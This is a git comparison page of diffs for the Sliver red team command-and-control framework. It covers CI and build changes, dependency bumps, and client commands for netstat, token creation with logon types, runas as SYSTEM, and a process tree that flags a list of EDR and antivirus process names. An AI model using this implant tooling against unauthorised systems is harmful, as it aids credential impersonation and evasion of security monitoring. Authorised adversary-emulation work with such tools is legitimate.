Compare commits

..
Author SHA1 Message Date
moloch-- 42b620047c Merged master 2022-10-18 14:23:08 -07:00
moloch-- 9cc4e07240 Merge branch 'master' into feature/webhooks 2022-10-18 14:22:23 -07:00
moloch-- be172d6f20 wip webhooks 2022-09-29 20:26:22 -07:00
moloch-- 45e360d437 Outline server-side webhooks 2022-09-29 17:26:34 -07:00
1033 changed files with 1148196 additions and 1323915 deletions

No files matched your search

+1 -1
View File
@@ -5,4 +5,4 @@ queries:
uses: security-extended
paths:
- server
- client
- implant
+2 -2
View File
@@ -3,7 +3,7 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
branches: [master, goreleaser]
jobs:
linux-windows-build:
@@ -15,7 +15,7 @@ jobs:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "^1.19"
go-version: "1.19.1"
- name: OS Packages
run: |
+23 -5
View File
@@ -4,22 +4,23 @@ on:
push:
branches:
- test/*
pull_request:
branches:
- master
# pull_request:
# branches:
# - master
jobs:
CodeQL-Build:
name: CodeQL Security Scan
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
runs-on: ubuntu-latest
timeout-minutes: 90
timeout-minutes: 45
steps:
# Setup go environment
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "^1.19"
go-version: "1.19.1"
- name: Checkout repository
uses: actions/checkout@v3
@@ -36,6 +37,23 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v3
+5 -2
View File
@@ -1,5 +1,8 @@
name: Build & Test
on:
push:
branches:
- test/*
pull_request:
branches:
- master
@@ -18,7 +21,7 @@ jobs:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "^1.19"
go-version: "1.19.1"
- name: OS Packages
run: |
@@ -52,7 +55,7 @@ jobs:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "^1.19"
go-version: "1.19.1"
- name: Mingw
run: brew install mingw-w64
+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.19.3
FROM golang:1.19.2
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
-20
View File
@@ -47,15 +47,6 @@ LDFLAGS = -ldflags "-s -w \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
# Debug builds can't be stripped (-s -w flags)
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
SED_INPLACE := sed -i
STATIC_TARGET := linux
@@ -108,12 +99,6 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
ifeq ($(MAKECMDGOALS), linux-arm64)
# Redefine TAGS/ENV to use pure go sqlite3
TAGS = -tags osusergo,netgo,gosqlite
ENV = CGO_ENABLED=0
endif
#
# Targets
#
@@ -155,11 +140,6 @@ pb:
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
.PHONY: debug
debug: clean
$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
validate-go-version:
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
exit 0 ;\
+1 -1
View File
@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
[![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
### Features
+1 -1
View File
@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
### Reporting a Vulnerability
Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).
Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
+4 -3
View File
@@ -22,6 +22,7 @@ import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
@@ -141,7 +142,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
}
// parse it
data, err := os.ReadFile(manifestPath)
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
@@ -302,7 +303,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
isDLL = true
}
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -310,7 +311,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFilePath, err = os.CreateTemp("", outFile)
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+1 -9
View File
@@ -1965,7 +1965,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("4", "ip4", true, "display information about IPv4 sockets")
f.Bool("6", "ip6", false, "display information about IPv6 sockets")
f.Bool("l", "listen", false, "display information about listening sockets")
f.Bool("n", "numeric", false, "display numeric addresses (disable hostname resolution)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverHelpGroup,
@@ -1984,7 +1983,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "print-cmdline", false, "print command line arguments")
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.Bool("T", "tree", false, "print process tree")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2047,14 +2045,9 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Run a new process in the context of the designated user (Windows Only)",
LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
Flags: func(f *grumble.Flags) {
f.String("u", "username", "", "user to impersonate")
f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
f.String("p", "process", "", "process to start")
f.String("a", "args", "", "arguments for the process")
f.String("d", "domain", "", "domain of the user")
f.String("P", "password", "", "password of the user")
f.Bool("s", "show-window", false, `
Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`)
f.Bool("n", "net-only", false, "use ")
f.Int("t", "timeout", 30, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -2126,7 +2119,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("u", "username", "", "username of the user to impersonate")
f.String("p", "password", "", "password of the user to impersonate")
f.String("d", "domain", "", "domain of the user to impersonate")
f.String("T", "logon-type", "LOGON_NEW_CREDENTIALS", "logon type to use")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
-10
View File
@@ -471,16 +471,6 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
Valid types are:
LOGON_INTERACTIVE
LOGON_NETWORK
LOGON_BATCH
LOGON_SERVICE
LOGON_UNLOCK
LOGON_NETWORK_CLEARTEXT
LOGON_NEW_CREDENTIALS
`
getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
+9 -10
View File
@@ -44,7 +44,6 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ip6 := ctx.Flags.Bool("ip6")
tcp := ctx.Flags.Bool("tcp")
udp := ctx.Flags.Bool("udp")
numeric := ctx.Flags.Bool("numeric")
implantPID := getPID(session, beacon)
activeC2 := getActiveC2(session, beacon)
@@ -68,21 +67,25 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
PrintNetstat(netstat, implantPID, activeC2, con)
})
con.PrintAsyncResponse(netstat.Response)
} else {
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
PrintNetstat(netstat, implantPID, activeC2, con)
}
}
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) {
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
const IPv4Strlen = 17
addr := skaddr.Ip
names, err := net.LookupAddr(addr)
if err == nil && len(names) > 0 {
addr = names[0]
}
if len(addr) > IPv4Strlen {
addr = addr[:IPv4Strlen]
}
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
}
@@ -95,12 +98,8 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
if entry.Process != nil {
pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
}
srcAddr := fmt.Sprintf("%s:%d", entry.LocalAddr.Ip, entry.LocalAddr.Port)
dstAddr := fmt.Sprintf("%s:%d", entry.RemoteAddr.Ip, entry.RemoteAddr.Port)
if !numeric {
srcAddr = lookup(entry.LocalAddr)
dstAddr = lookup(entry.RemoteAddr)
}
srcAddr := lookup(entry.LocalAddr)
dstAddr := lookup(entry.RemoteAddr)
if entry.Process != nil && entry.Process.Pid == implantPID {
tw.AppendRow(table.Row{
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
+4 -21
View File
@@ -28,16 +28,6 @@ import (
"google.golang.org/protobuf/proto"
)
var logonTypes = map[string]uint32{
"LOGON_INTERACTIVE": 2,
"LOGON_NETWORK": 3,
"LOGON_BATCH": 4,
"LOGON_SERVICE": 5,
"LOGON_UNLOCK": 7,
"LOGON_NETWORK_CLEARTEXT": 8,
"LOGON_NEW_CREDENTIALS": 9,
}
// MakeTokenCmd - Windows only, create a token using "valid" credentails
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
@@ -48,12 +38,6 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
username := ctx.Flags.String("username")
password := ctx.Flags.String("password")
domain := ctx.Flags.String("domain")
logonType := ctx.Flags.String("logon-type")
if _, ok := logonTypes[logonType]; !ok {
con.PrintErrorf("Invalid logon type: %s\n", logonType)
return
}
if username == "" || password == "" {
con.PrintErrorf("Pou must provide a username and password\n")
@@ -64,11 +48,10 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil("Creating new logon session ...", ctrl)
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
Request: con.ActiveTarget.Request(ctx),
Username: username,
Domain: domain,
Password: password,
LogonType: logonTypes[logonType],
Request: con.ActiveTarget.Request(ctx),
Username: username,
Domain: domain,
Password: password,
})
ctrl <- true
<-ctrl
-8
View File
@@ -36,12 +36,8 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
username := ctx.Flags.String("username")
password := ctx.Flags.String("password")
domain := ctx.Flags.String("domain")
showWindow := ctx.Flags.Bool("show-window")
process := ctx.Flags.String("process")
arguments := ctx.Flags.String("args")
netonly := ctx.Flags.Bool("net-only")
if username == "" {
con.PrintErrorf("Please specify a username\n")
@@ -58,10 +54,6 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Username: username,
ProcessName: process,
Args: arguments,
Domain: domain,
Password: password,
HideWindow: !showWindow,
NetOnly: netonly,
})
if err != nil {
con.PrintErrorf("%s", err)
+14 -42
View File
@@ -21,7 +21,6 @@ package processes
import (
"context"
"fmt"
"sort"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
@@ -40,11 +39,11 @@ var (
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
@@ -52,13 +51,13 @@ var (
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
@@ -67,8 +66,8 @@ var (
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
@@ -132,25 +131,6 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
ownerFilter := ctx.Flags.String("owner")
overflow := ctx.Flags.Bool("overflow")
skipPages := ctx.Flags.Int("skip-pages")
pstree := ctx.Flags.Bool("tree")
if pstree {
var currentPID int32
session, beacon := con.ActiveTarget.GetInteractive()
if session != nil && session.PID != 0 {
currentPID = session.PID
} else if beacon != nil && beacon.PID != 0 {
currentPID = beacon.PID
}
// Print the process tree
sorted := SortProcessesByPID(ps.Processes)
tree := NewPsTree(currentPID)
for _, p := range sorted {
tree.AddProcess(p)
}
con.PrintInfof("Process Tree:\n%s", tree.String())
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
@@ -290,11 +270,3 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
}
return -1
}
// SortProcessesByPID - Sorts a list of processes by PID
func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
sort.Slice(ps, func(i, j int) bool {
return ps[i].Pid < ps[j].Pid
})
return ps
}
-149
View File
@@ -1,149 +0,0 @@
package processes
import (
"fmt"
"sort"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/xlab/treeprint"
)
// A PsTree is a tree of *commonpb.Process
type PsTree struct {
printableTree treeprint.Tree // only used for rendering
implantPID int32
procTree *node // used to hold the tree structure
}
type node struct {
Value *commonpb.Process // The process information
Children map[int32]*node // The children of this node
Parent *node // The parent of this node
}
// NewPsTree creates a new PsTree
func NewPsTree(pid int32) *PsTree {
return &PsTree{
printableTree: treeprint.New(),
implantPID: pid,
procTree: &node{Value: &commonpb.Process{Pid: -1}},
}
}
func (n *node) insert(proc *commonpb.Process) {
if n.Value == nil {
n.Value = proc
return
}
if parent := n.findParent(proc); parent != nil {
if parent.Children == nil {
parent.Children = make(map[int32]*node)
}
parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
} else {
if n.Children == nil {
n.Children = make(map[int32]*node)
}
n.Children[proc.Pid] = &node{Value: proc, Parent: n}
}
}
func (n *node) findParent(proc *commonpb.Process) *node {
if n.Value == nil {
return nil
}
if n.Value.Pid == proc.Ppid {
return n
}
for _, child := range n.Children {
if p := child.findParent(proc); p != nil {
return p
}
}
return nil
}
func reorder(root *node) {
toDelete := make([]int32, 0)
for pid, child := range root.Children {
// skip root node
if child.Value.Pid == -1 {
continue
}
// Skip edge case of [System Process] on Windows
if child.Value.Ppid == pid {
continue
}
// only focus on children without parent
if child.Parent.Value.Pid == -1 {
if parent := root.findParent(child.Value); parent != nil {
child.Parent = parent
if parent.Children == nil {
parent.Children = make(map[int32]*node)
}
// copy to new parent
parent.Children[pid] = child
// mark for deletion
toDelete = append(toDelete, pid)
}
}
}
// delete children that were moved
for _, pid := range toDelete {
delete(root.Children, pid)
}
}
func (t *PsTree) AddProcess(proc *commonpb.Process) {
t.procTree.insert(proc)
}
func (t *PsTree) filterProc(proc *commonpb.Process) string {
color := console.Normal
if proc.Pid == t.implantPID {
color = console.Green
}
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
color = secTool[0]
}
return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
}
func (t *PsTree) String() string {
reorder(t.procTree)
return t.Print()
}
func (t *PsTree) Print() string {
topLevelPIDs := make([]int, 0, len(t.procTree.Children))
for k := range t.procTree.Children {
topLevelPIDs = append(topLevelPIDs, int(k))
}
sort.Ints(topLevelPIDs)
for _, pid := range topLevelPIDs {
current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
t.addToTree(current, t.procTree.Children[int32(pid)].Children)
}
return t.printableTree.String()
}
func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
for pid, proc := range procs {
if proc.Value.Pid == -1 {
continue
}
procName := t.filterProc(proc.Value)
procNode := tree.FindByMeta(pid)
if procNode == nil {
if len(proc.Children) > 0 {
procNode = tree.AddMetaBranch(pid, procName)
} else {
procNode = tree.AddMetaNode(pid, procName)
}
}
t.addToTree(procNode, proc.Children)
}
}
+2 -3
View File
@@ -30,9 +30,8 @@ import (
// TerminateCmd - Terminate a process on the remote system
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
con.PrintErrorf("No active session or beacon\n")
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
+1 -1
View File
@@ -432,7 +432,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
con.PrintErrorf("Failed to fetch beacon: %s\n", err)
return
}
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, false, con)
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, con)
// ---------------------
// Privilege commands
+1
View File
@@ -0,0 +1 @@
package webhooks
@@ -1,27 +1,10 @@
package websites
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"io"
"io/ioutil"
"net/http"
"os"
"path"
@@ -111,7 +94,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
return err
}
defer file.Close()
data, err := io.ReadAll(file)
data, err := ioutil.ReadAll(file)
if err != nil {
return err
}
@@ -1,23 +1,5 @@
package websites
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
-18
View File
@@ -1,23 +1,5 @@
package websites
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
@@ -1,23 +1,5 @@
package websites
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
+1 -1
View File
@@ -100,7 +100,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
return sortedContents[i].Path < sortedContents[j].Path
})
for _, content := range sortedContents {
tw.AppendRow(table.Row{
tw.AppendHeader(table.Row{
content.Path,
content.ContentType,
content.Size,
+1 -1
View File
@@ -232,7 +232,7 @@ GEM
jekyll-seo-tag (~> 2.1)
minitest (5.15.0)
multipart-post (2.1.1)
nokogiri (1.13.9)
nokogiri (1.13.6)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.22.0)
+3 -3
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.19.3"
GARBLE_VER="1.19.4"
GO_VER="1.19.2"
GARBLE_VER="1.19.3"
SGN_VER="0.0.3"
GO_ARCH_1="amd64"
@@ -156,7 +156,7 @@ echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
+25 -24
View File
@@ -10,7 +10,7 @@ require (
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.3
github.com/Ne0nd0g/go-clr v1.0.2
github.com/alecthomas/chroma v0.10.0
github.com/cheggaaa/pb/v3 v3.1.0
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777
@@ -20,41 +20,41 @@ require (
github.com/desertbit/grumble v1.1.1
github.com/desertbit/readline v1.5.1
github.com/fatih/color v1.13.0
github.com/gofrs/uuid v4.3.1+incompatible
github.com/gofrs/uuid v4.3.0+incompatible
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
github.com/jedib0t/go-pretty/v6 v6.4.2
github.com/jedib0t/go-pretty/v6 v6.4.0
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.16
github.com/mattn/go-sqlite3 v1.14.15
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/shirou/gopsutil/v3 v3.22.10
github.com/shirou/gopsutil/v3 v3.22.9
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.6.1
github.com/stretchr/testify v1.8.1
github.com/slack-go/slack v0.11.3
github.com/spf13/cobra v1.6.0
github.com/stretchr/testify v1.8.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/xlab/treeprint v1.1.0
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
